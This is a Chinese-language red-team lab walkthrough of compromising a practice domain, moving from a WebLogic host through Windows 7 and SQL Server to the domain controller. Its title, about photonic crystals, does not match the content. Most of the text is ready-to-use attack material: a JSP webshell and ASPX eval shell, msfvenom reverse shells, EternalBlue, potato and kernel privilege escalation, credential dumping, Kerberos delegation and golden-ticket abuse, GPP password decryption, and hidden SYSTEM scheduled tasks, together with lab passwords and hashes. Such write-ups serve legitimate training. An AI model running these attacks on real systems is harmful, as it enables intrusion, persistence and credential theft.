光子晶体BIC远场偏振与能带值计算：从仿真到工程验证
2026/10/26 16:04:05
渗透测试红队靶场1
环境搭建
网络拓扑
DMZ：192.168.162.0/24（VMnet8）
二层网络：10.10.20.0/24（VMnet10）
三层网络：10.10.10.0/24（VMnet14）
主机网卡配置
**kali攻击机：**配置VMnet8
ip为192.168.162.128windows 2012+weblogic主机：配置VMnet8+VMnet10
ip为192.168.162.130和10.10.20.12windows 7：配置VMnet10+VMnet14
ip为10.10.20.7和10.10.10.7windows 2008+SQL Server 2008：VMnet14
ip为10.10.10.18windows 2008+Exchange 2010：VMnet14
ip为10.10.10.8
服务配置
域控：Windows Server 2008 + IIS + Exchange 2013 邮件服务
目录还原密码：redteam!@#45 主机名：owa 域管理员：administrator:Admin12345域内服务器 Mssql：Windows Server 2008 + SQL Server 2008 （被配置了非约束委派）
主机名：sqlserver-2008 本地管理员:Administrator:Admin12345 域账户：redteam\sqlserver:Server12345 （被配置了约束委派） Mssql：sa:sa启动mssql数据库
net start MSSQLSERVER域内个人 PC：Windows 7
主机名：work-7 本地管理员:john：admin!@#45 域账户：redteam\saul:admin!@#45单机服务器：Windows server r2 + weblogic
主机名：weblogic 本地管理员:Administrator:Admin12345 weblogic ：weblogic：weblogic123（访问 http://ip:7001） weblogic 安装目录：C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain（手动运行下 startWebLogic.cmd）
运行成功
外网打点
信息收集
nmap扫描目标网段
nmap -sn 192.168.162.0/24
发现192.168.162.130主机存活对192.168.162.130主机进行端口扫描
nmap -sS -Pn --min-rate 1000 -p- 192.168.162.130- 5985端口开放，后续可尝试WinRM远控进行横向移动
- 7001端口开放，Oracle WebLogic 的默认管理端口，可能存在可被利用的反序列化漏洞或弱口令
漏洞探测
访问7001端口
进行目录扫描
访问/console版本信息：WebLogic Server Version: 12.1.3.0.0
网上搜索该版本有没有漏洞可以利用
参考链接：https://kradress.github.io/2022/04/04/%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E%E4%B9%8Bweblogic.html
测试CVE-2017-10271是否可利用
CVE-2017-10271 影响版本:weblogic 版本10.3.6.0.0;12.2.1.1.0;12.2.1.2.0;12.1.3.0.0访问漏洞接口/wls-wsat/CoordinatorPortType11
出现该界面说明可能存在CVE-2017-10271漏洞通过向目标主机写入文件验证是否可以RCE
PS:wls-wsat路径 servers/AdminServer/tmp/_WL_internal/wls-wsat/
- /root/Oracle/Middleware/… 是一个具体的安装实例路径。在实际环境中，这个前缀会随 WebLogic 安装位置（如 C:\Oracle\Middleware 或 /home/weblogic/Oracle）而变化。
- 但后半部分 servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/ 是相对于域根目录的固定结构
构造post请求上传文件
访问刚刚上传的文件
写入失败了直接使用漏洞利用工具试试
工具地址https://github.com/shack2/javaserializetools
工具检测到漏洞
漏洞利用
上传jsp马
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("cmd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>蚁剑连接
连接地址：http://192.168.162.130:7001/wls-wsat/test.jsp 连接密码：cmd
连接成功
提权
拿下该主机后发现不是system用户需要进行提权
msf上线该主机
- 生成木马并上传给该主机
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.162.128 LPORT=4444 -f exe -o shell.exe - msf监听等待反弹shell
use exploit/multi/handler set LHOST 192.168.162.128 set PAYLOAD windows/x64/meterpreter/reverse_tcp set ReverseAllowProxy true run - 运行木马文件上线msf
成功获得会话
- 生成木马并上传给该主机
利用msf提权
getsystem
应该是因为UAC认证导致提权失败开启一个拥有高完整性令牌的会话
background use exploit/windows/local/bypassuac set SESSION 3 set LHOST 192.168.162.128 set LPORT 4444 exploit
显示利用失败因为该会话已经拥有高完整性令牌了whoami /all查看当前权限
当前的会话拥有 SeImpersonatePrivilege 权限，并且处于 High Mandatory Level（高完整性级别）
使用godpotato进行提权
工具地址： https://github.com/BeichenDream/GodPotato/releases
上传该工具到目标主机
运行工具进行提权
也失败了尝试使用cs内置模块提权
用 payload_inject 把 MSF 会话推给 CS
在 CS 上创建一个 Beacon HTTP 或 Beacon HTTPS 监听器，记下端口（比如 80 或 443）。这个监听器是给 MSF 注入的 payload 回连用的。
在 MSF 中把当前会话挂到后台（background），然后加载注入模块：
use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST 192.168.162.128【CS服务端IP】 set LPORT 1111【CS监听器端口】 set DisablePayloadHandler true set PrependMigrate true set session <你的MSF会话ID> run
成功上线
使用cs内置模块提权
提权成功
内网渗透
信息收集
systeminfo
该主机处于工作组环境有两张网卡内网网段为10.10.20.0/24fscan扫一下c段
fscan.exe -h 10.10.20.1/24- 网络信息
发现20网段还有一台主机存活ip为10.10.20.7
该主机名为work-7配有两张网卡还有一张是10网段的10网段就是第三层内网 - 漏洞信息
可能存在永恒之蓝漏洞
- 网络信息
隧道搭建（使用msf，简易版）
添加通往20网段的路由
run autoroute -s 10.10.20.0/24
漏洞利用
对work-7进行永恒之蓝漏洞利用
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.20.7 set payload windows/x64/meterpreter/bind_tcp set LPORT 4444 run
拿下work-7
最高权限无需提权永恒之蓝这个会话太不稳定了需要新建应该稳定的shell
- 生成木马并上传给该主机
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4445 -f exe -o shell1.exe - 运行木马监听4445端口等待kali连接
- msf连接目标主机的4445端口
use exploit/multi/handler set RHOST 10.10.20.7 set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4445 run
成功获得会话
- 生成木马并上传给该主机
cs上线该主机
在 CS 中创建正向监听器
生成正向木马
上传并在目标上执行木马
在 MSF 会话中执行：upload /home/ep/bind_beacon.exe C:\\Windows\\Temp\\bind_beacon.exe execute-fC:\\Windows\\Temp\\bind_beacon.exe通过代理让 CS 去“连”目标
在跳板机 Beacon 的控制台输入：connect10.10.20.78443
上线成功
横向移动
信息收集
使用msf的kiwi模块进行密码抓取
load kiwi creds_allsaul REDTEAM e90127c07127ed12f4ebf668acca53e9(LM) 518b98ad4178a53695dc997aa02d455c(NTLM) saul REDTEAM.RED admin!@#45上传fscan到work-7上，对10网段进行扫描
upload /home/ep/fs64.exe fs64.exe对10.10.10.0/24网段进行扫描
fs64.exe -t 10.10.10.1/24- 信息汇总
其他存活主机：10.10.10.8和10.10.10.18
10.10.10.18详细信息
主机名：sqlserver-2008 身份：独立或域内成员服务器，主机名暗示其为数据库服务器。 系统：Windows Server 2008 R2。 服务：开放了 80 (IIS7)、135、139、445、1433端口。 账号：sa 密码：sa10.10.10.8详细信息
主机名：owa 身份：域控制器（DC）（扫描结果明确标出了 [+] DC:owa.redteam.red）。 系统：Windows Server 2008 R2。 服务：开放了 80、88(Kerberos)、135、139、443、445、808、8172 端口。Web 标题显示为 IIS7。
- 信息汇总
隧道搭建
在msf中添加到10网段的路由
run autoroute -s 10.10.10.0/24开启socks5代理
use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 set SRVHOST 127.0.0.1 run -j浏览器配置代理
proxychains配置文件
sqlserver-2008
漏洞利用
利用mssql弱口令爆破
前面fscan已经爆出来账号密码是sa:sa
使用SharpSQLTools工具：https://github.com/uknowsec/SharpSQLToolsxp_cmdshell执行命令
SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami
nt authority\network service，低权限需要提权clr提权
# 安装 CLR 程序集 SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami # 启用 CLR SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr # 使用 CLR 版 EfsPotato 提权执行命令 SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
提权成功
msf上线
生成木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4449 -f exe -o shell4.exe由于sqlserver-2008无法直接出网，所以借助window7作为中转
- 上传木马到window7
- 在window7上使用http-server开启一个简易http服务
powershell -c "$listener = New-Object System.Net.HttpListener; $listener.Prefixes.Add('http://+:80/'); $listener.Start(); Write-Host 'Server started on port 80'; while ($true) { $context = $listener.GetContext(); $file = 'C:\Windows\system32\shell2.exe'; if (Test-Path $file) { $bytes = [System.IO.File]::ReadAllBytes($file); $context.Response.ContentLength64 = $bytes.Length; $context.Response.OutputStream.Write($bytes, 0, $bytes.Length); }; $context.Response.Close(); }" - 执行命令下载木马
SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell "certutil -urlcache -split -f http://10.10.10.7/shell2.exe C:/Users/public/shell2.exe"
不知道为啥一直拒绝访问
- 上传木马到window7
使用工具MDUT测试一下连接10.10.10.18的Mssql
工具地址：https://github.com/SafeGroceryStore/MDUT
连接数据库
权限很低，尝试上传木马
上传成功了，尝试用SharpSQLTools以高权限执行一下
执行超时没有获得会话
直接用mssql管理工具执行木马
msf连接
成功获得低权限会话思路二，该主机中还开放了80端口，可以先尝试给网站上传一句话木马获得一个webshell的会话，然后再通过webshell上传执行木马上线msf
找到网站真实路径c:\inetpub\wwwroot
创建一个Windows批处理文件2.bat
echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx执行该文件会在目标主机的c:\inetpub\wwwroot\目录下生成一个asp木马文件
使用mssql管理工具上传并执行
该会话权限太低拒绝访问c:\inetpub\wwwroot\目录利用SharpSQLTools以高权限执行该文件
蚁剑连接http://10.10.10.18/1.asp，连接密码saul，即可获得webshell
虽然权限很低但可以通过webshell上传执行木马文件上线msf，之后再在msf中提权上传木马文件并执行
msf中主动连接
use exploit/multi/handler set RHOST 10.10.10.18 set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4449 run
成功获得一个低权限会话
权限提升
先尝试用msf的getsystem提权
失败了利用未打补丁的系统漏洞提权
- 查看系统补丁寻找可利用的漏洞提权
systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt - 先尝试利用 KB3045171 / MS15-051
使用ms15-051.exe（或 ms15-051x64.exe）进行提权
工具地址：https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS15-051/MS15-051-KB3045171.zip
上传工具并运行命令查看权限ms15-051x64.exe whoami
提权成功
- 查看系统补丁寻找可利用的漏洞提权
思路二：利用SharpSQLTools获取的高权限会话执行cs的beacon木马从而直接在cs中上线高权限会话
但是因为我用SharpSQLTools连接数据库执行命令经常超时，所以就没用这个方法上线cs
使用ms15-051x64.exe运行木马程序可获得高权限beaconms15-051x64.exe beacon_sql.exe
在cs中选择一个跳板beacon执行connect 10.10.10.18 8443
提权成功
owa
信息收集
在sqlserver机器上进行抓取凭据
成功抓取到的账号密码
User Name : Administrator Domain : REDTEAM Logon Server : OWA Password : Admin12345User Name : sqlserver Domain : REDTEAM Logon Server : OWA Password : Server12345漏洞探测
可以先查一下域内用户有没有配置了约束性委派的
工具地址：https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools/blob/master/AdFind.zipAdFind.exe -h 10.10.10.8 -u sqlserver -up Server12345 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegatetosqlserver账户被配置了约束性委派，说明该账户被允许模拟任何用户去访问特定服务（比如域控的 CIFS 服务）。刚刚已经抓取到了sqlserver账户的密码，我们现在可以控制sqlserver利用约束委派伪造 Administrator 访问 CIFS 服务的票据
漏洞利用
- 约束性委派利用
工具地址：https://github.com/gentilkiwi/kekeo/releases/伪造sqlserver的TGT票据
在目标机器（或者控制的一台能连通域控的机器）上执行：# 1. 申请 TGT kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:TGT_sqlserver.kirbi" "exit" # 2. 利用约束委派伪造 Administrator 访问 CIFS 服务的票据 kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit"导入票据（使用 Mimikatz）
# 清空当前内存中的票据（防止冲突） klist purge # 导入刚才伪造的票据 mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi" "exit"
我的mimikatz版本太老了可能，没有kerberos模块，只差最后一步就完成委派攻击了，等我之后下个最新版再试试委派，现在先试试别的漏洞突然想到可以使用cs中自带的mimikatz模块
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi验证攻击是否成功
shell dir \\owa\c$
攻击成功向域控目录中写入木马文件
copy C:\Windows\Temp\1.exe \\owa\c$\之前在sqlserver上抓密码时抓到了域管的密码，可以使用psexec远控运行木马文件
proxychains4 impacket-wmiexec REDTEAM.red/Administrator:Admin12345@10.10.10.8
成功连接上去并且是system权限
尝试了手动使用psexec以及wmic执行，但未成功，可能是约束委派的权限问题或者其他操作问题使用msf中的psexec模块上线owa
use exploit/windows/smb/psexec set SMBUser administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 set payload windows/meterpreter/bind_tcp set rhost 10.10.10.8 run/exploit
成功获得会话
system权限
尝试在msf的shell中运行cs的木马
成功上线cs
- 还可以使用zerologon拿下域控，不过我前几个靶场用过几次了，这个靶场主要想练一下别的
至此已经拿下所有机器
练习一下该域专门配置的漏洞
GPP
域内存在GPP（组策略首选项）漏洞，可通过提取GPP相关文件中的加密密码并解密，获取域内用户（如admin）的明文密码，辅助域渗透。
在域用户机器work-7机器上直接搜索 SYSVOL 目录中的 cpassword 关键字
成功命中了一个文件：…\Machine\Preferences\Groups\Groups.xml
敏感信息：name="Administrator (内置)": 说明这个策略是在配置本地内置 Administrator 账户 newName="admin": 把管理员账号改名为了 admin cpassword="A48Hw1VXS/3M2Asazld/d7Fvvt42DD7pOJOn/ut+z7I": 这就是加密后的密码 漏洞核心点：微软官方公布了用于加密这个 cpassword 的 AES 密钥（硬编码在客户端），意味着这个加密形同虚设。任何人只要拿到这串字符，用公开的工具就能瞬间还原出明文密码。解密获得明文密码
使用kali中的gpp-decrytp工具
gpp-decrypt "A48HwlVXS/3M2Asazld/d7Fvvt42DD7pOJGn/ut+z7I"
成功获得域管理员密码：Admin12345尝试横向移动
使用psexec远控sqlserver
proxychains4 impacket-psexec redteam.red/administrator:Admin12345@10.10.10.18
远控成功
持久化
weblogic:计划任务实现持久化
上传反向连接木马程序
以下命令以 SYSTEM 权限创建任务，每分钟执行一次指定程序，并伪装成系统更新组件：
schtasks /create /tn "Microsoft\Windows\Update\TelemetryUpdater" /tr "C:\Windows\Temp\re-weblogic.exe" /sc minute /mo 1 /ru SYSTEM /rl highest /f- /tn (Task Name)：任务名称。为了隐蔽，建议使用 Microsoft\Windows\ 路径前缀，并模仿合法服务名（如 TelemetryUpdater），这会让它在任务计划程序里看起来像系统组件。
- /tr (Task Run)：要执行的程序路径。确保路径指向你上传的木马（建议放在 C:\Users\Public 或 C:\ProgramData 这类低权限可读写的目录）。
- /sc (Schedule Type)：触发频率。minute 表示按分钟，配合 /mo 1 实现每分钟执行。
- /ru SYSTEM：关键参数。以 NT AUTHORITY\SYSTEM 最高权限运行，无需密码，且用户无法交互或看到该进程。
- /rl highest：以最高权限级别运行。
- /f：如果同名任务已存在，则强制覆盖。
生成并上传反向连接木马
注意：木马对应的监听器的ip和端口的跳板机的地址和映射的端口目标主机上创建计划任务定时运行木马
schtasks /create /tn "Microsoft\Windows\Update\TelemetryUpdater" /tr "C:\Windows\Temp\reverse2-1.exe" /sc minute /mo 1 /ru SYSTEM /rl highest /f
黄金票据
给work-7注入黄金票据
注入黄金票据之前还不能访问域控c盘
- krbtgt NTLM-Hash：4a67f14d5cc4fa22618c8b609e832db6
- domain-sid：S-1-5-21-1359007890-1682372173-1631803504
- doamin：redteam.red
- username：aaa
注入成功
成功访问域控c盘共享，建立ipc连接
遇到的问题
手工构造反序列化利用cve-2017-10271漏洞时利用失败
原因
找错了应用目录，我按照10版本的应用目录写入的所以一直利用失败
后来使用工具时发现12版本的应用目录是servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.wsat-endpoints-impl_12.1.3/8919zy/war/解决方法
把写入路径换成12版对应的路径
成功写入文件
上传工具的时候经常出现超时现象
原因
工具过大导致上传时间超过了 Meterpreter 默认的 15 秒响应超时时间，触发了 Rex::TimeoutError
解决方法
在 msfconsole 的交互模式下
sessions--interact1--timeout40
上传到windows7中的fscan运行失败
原因
可能是fscan 的 Go 语言版本与目标老系统不兼容解决方法
换个适用于低版本系统的 fscan
搭建靶场环境时启动 mssql 时报错
原因
SQL Server 的评估期（试用期）已过
解决方法
将虚拟机时间回滚
打开时间和日期设置，在任务栏右下角点击时间，选择“更改日期和时间设置”。点击“更改日期和时间”按钮。把年份或月份往前调，确保调整后的时间在 SQL Server 安装后的 180 天内。（如果不确定安装时间，直接往前调个半年或一年最稳妥）。重启 SQL Server 服务：
net start MSSQLSERVER
打sqlserver时上线msf第一天尝试了很方法都无法获取会话
原因
可能是和内网之间的连通不稳定，第二天再打的时候有两种方法都可以成功了
在cs中使用kekeo时出现循环报错ERROR kull_m_cli_read ; ReadConsole (0x00000006)
原因
Kekeo 在请求 TGT 时，会尝试读取控制台输入来进入交互模式，而 Beacon 的 shell 环境没有真正的交互式控制台，导致读取失败并不断重试。
解决方法
换用Rubeus工具，Rubeus 的 asktgt 命令功能与 Kekeo 的 tgt::ask 完全一致，但可以直接通过 CS 的 execute-assembly 运行，或者上传 exe 后在 shell 里执行，不会卡在 ReadConsole
Rubeus.exe asktgt /user:sqlserver /domain:redteam.red /password:Server12345 /outfile:TGT_sqlserver.kirbi或者可以尝试在命令中直接指定输出票据文件，避免它尝试进入交互模式。有些版本的 Kekeo 支持 /ticket: 参数来指定输出路径：
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:TGT_sqlserver.kirbi" "exit"命令末尾的 “exit” 是为了让它执行完后立即退出，防止卡在交互界面。
通过委派获取票据访问域控共享时需要不断使用mimikatz注入票据
原因
Mimikatz 的 kerberos::ptt 命令是将伪造或窃取的票据注入到当前进程或当前登录会话的内存中。这个注入是有作用范围的：
会话隔离：如果在一个命令行窗口注入了票据，然后新开一个窗口，或者某些操作触发了新的网络登录会话，新会话的内存里可能并没有这张票据。
进程隔离：如果以普通用户权限运行 Mimikatz 注入票据，但随后用 SYSTEM 权限的工具去访问共享，票据是注入在普通用户内存里的，SYSTEM 进程无法使用它。
认证触发：直接使用 dir \dc\c$ 这类命令，每次都可能触发一次新的 SMB 认证握手。如果当前会话的票据缓存状态不理想，就可能认证失败，迫使重新注入。
解决方法
建立ipc$连接之后就解决了
net use \\<DC>这条命令的本质，是主动向目标发起一次 SMB 认证，并在成功后于当前系统内维持一个已认证的会话（Session）。一旦这个连接建立成功，Windows 的网络重定向器就会在后续访问同一目标时，优先复用这个已有的 SMB 会话，而不是每次都重新走一遍完整的 Kerberos 认证流程。只要这个
ipc$连接不断开（或没有因超时等原因失效），在这个会话生命周期内执行dir \\<DC>\c$、copy 文件到共享目录等操作，都会直接沿用刚才认证成功的身份。之前：注入票据 → 访问共享（触发新认证，可能失败）→ 再次注入 → 再访问……
后来：注入票据 →
net use \\<DC>（用票据完成认证，建立会话） → 后续所有共享操作都走这个已认证的会话，无需再碰票据。
操作要点与注意事项
为了让这个方法稳定生效，有几个细节需要注意：注入票据的权限要与后续操作一致：如果打算在普通域用户下操作，就用该用户的权限运行 Mimikatz 注入票据。不要用 SYSTEM 权限的 Mimikatz 注入后，再用普通用户去访问。
先清理旧连接：如果之前有过失败的连接或冲突的凭据，建议先执行 net use * /del 清除所有现有连接，再重新注入票据并建立 ipc$。
连接命令本身不需要密码：在票据已成功注入当前会话的前提下，直接运行
net use \\<域控IP或主机名>即可（不加密码），系统会自动使用内存中的 Kerberos 票据完成认证。主机名 vs IP：在某些环境中，使用 IP 地址访问可能无法正确匹配 Kerberos 票据中的 SPN，导致认证失败。如果遇到问题，尝试用域控的主机名（FQDN） 来建立连接。
建立 ipc$ 连接相当于把“票据”这种临时凭证，固化成了一个系统级的“通行证会话”，从而避免了反复注入的麻烦。
使用msf的psexec模块上线owa时失败了
原因
估计是防火墙的问题
解决方法
在之前用impacket-psexec工具建立的半交互shell中关闭防火墙
netsh advfirewall set allprofiles state off
可以成功上线了
使用GPP横向移动时用admin作为用户名不行但administrator就可以
原因
之前用 admin 登录失败，是因为 admin 并不是这个本地账户的真实名称；而 administrator 才是登录时被系统认可的账户名。
从 GPP 漏洞里拿到的 Admin12345 密码本身是正确的，只是账户名在 “重命名” 这件事上，和 GPP 策略里写的newName=“admin” 之间产生了不匹配。
账户名不一致可能的原因
GPP 脚本解密时，虽然 XML 里出现了 newName=“admin”，但这并不代表目标机器的本地管理员账户已经成功改名为 admin。在渗透场景中，常见的情况有：
GPP 策略声明了重命名，但未生效：策略里虽然写了 newName=“admin”，但目标机器可能并未应用该策略（例如机器不在该 GPP 的策略作用域内），或者应用失败，本地账户名仍然是默认的 Administrator。
策略应用存在延迟：GPP 策略在机器上的应用并非实时，如果机器长时间未刷新组策略，newName 可能尚未实际执行。
因此，拿到的密码属于 Administrator 这个账户，但账户名并不是 admin。而在尝试 redteam.red\admin 时，系统找不到这个账户，自然就返回了 STATUS_LOGON_FAILURE 认证失败。
更深层的技术限制：RID 500 与 UAC 远程限制
即使确实拿到了 “管理员” 的密码，这里还有一个关键的 Windows 安全限制在起作用：
- 只有 RID 500 的账户才能远程登录：在 Windows Vista 及之后的系统中，本地管理员组里除了内置管理员账户（RID 500，默认名就是 Administrator）之外的其他本地管理员账户，默认禁止通过网络进行远程管理登录（如 psexec、WMI）。UAC 的远程限制会拦截 admin 这类非 RID 500 的本地管理员账户，阻止其建立远程管理会话。